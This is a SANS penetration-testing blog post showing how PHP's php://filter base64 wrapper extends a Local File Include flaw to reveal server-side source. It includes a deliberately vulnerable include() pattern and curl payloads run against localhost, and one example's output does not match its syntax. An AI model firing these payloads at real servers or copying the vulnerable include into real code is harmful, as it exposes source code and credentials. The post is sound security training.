SANS Penetration Testing

Getting MOAR Value out of PHP Local File Include Vulnerabilities

By Jeff McJunkin


Wouldn't web application penetration testing be easier if you could look at the source code? Well, when looking to expand my web app pen testing skills, my good friend and co-worker, Josh Wright, mentioned a specific new twist for Local File Include vulnerabilities on PHP-based web servers: PHP wrappers.

PHP wrappers allow us to make Local File Includes far more useful. The PHP interpreter can handle many things as streams of data, such as local files, remote URL's, and even remote SSH systems! What's most interesting today, though, is accessing "various I/O streams" through the php:// wrapper. With php://, we can read the Standard Input, Standard Output, and Standard Error of the PHP interpreter itself. For example, with php://stdin, we can read the raw input a user sends, which can be useful if the PHP interpreter adds some formatting and such that can get in our way. This often comes up with JSON being sent to a PHP interpreter, for example.

The most interesting wrapper, though, is the most meta of them all — the php://filter wrapper, which allows us to apply one or more file transforms to a file input or output. What kinds of filters, you ask? All sorts of kinds, I reply!

$ php -a
Interactive mode enabled

php > $streamlist = stream_get_filters();
php > print_r($streamlist);
[0] => zlib.*
[1] => string.rot13
[2] => string.toupper
[3] => string.tolower
[4] => string.strip_tags
[5] => convert.*
[6] => consumed
[7] => dechunk
[8] => convert.iconv.*

Honestly, I'm not sure why I'd need to do ROT13 on a stream of text as part of a real application, but it's not nearly as interesting as the filters underneath item #4, convert — specifically convert.base64-encode. How do we make it work? The syntax is a bit odd, but luckily a pre-canned line will do for 99% of cases:

$ echo "Something secret" > secret.txt
$ php -a
php > include("php://filter/base64-encode/resource=secret.txt");
Something secret


Good point, Philosoraptor! In this example, I could've just as well done this:

php > include("secret.txt");
Something secretSomething secret

So why use php://filter at all? Well, oftentimes a file extension is added on the server-side code as follows:

include($_GET["page"] . ".php");

And imagine I have another page, index.php, that looks like this:

print("Some index page or something\n");

You've probably seen URL's like the following: http://localhost/ex1.php?page=index. That URL will load index.php (the ".php" is added server-side, remember) and include it in the HTTP response as follows:

$ curl "http://localhost/ex1.php?page=index"
Some index page or something

However, we can't see the source to either ex1.php or index.php, because the PHP interpreter will be interpreting that code, not merely displaying it. With the magic of the base64-encode PHP filter, though, the PHP interpreter will not interpret the resource as code. This allows us to see the original server-side PHP code content! Let's give it a shot:

$ curl -s "http://localhost/ex1.php?page=php://filter/convert.base64-encode/resource=index"
$ curl -s "http://localhost/ex1.php?page=php://filter/convert.base64-encode/resource=index" | base64 -d
print("Some index page or something\n");

Great! The ".php" extension is still added on the server side, but we've managed to get something very useful anyway. Now we can examine the PHP for SQL injection, code injection, secrets like database connection information, etc.

Have fun hacking all the things!

-Jeff McJunkin


Upcoming SANS Special Event - 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge - KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • "On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team." - @mikehodges
  • "#SANSHolidayHack Confession — I have never used python or scapy before. I got started with both today because of this game! Yay!" - @tww2b
  • "Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa" - @dnlongen


Posted May 23, 2017 at 11:14 AM | Permalink | Reply


Thanks for sharing a usefull information''.

Posted August 11, 2017 at 7:14 AM | Permalink | Reply


Great''I like your all blogs because of all are informational''share more like this''

Post a Comment


* Indicates a required field.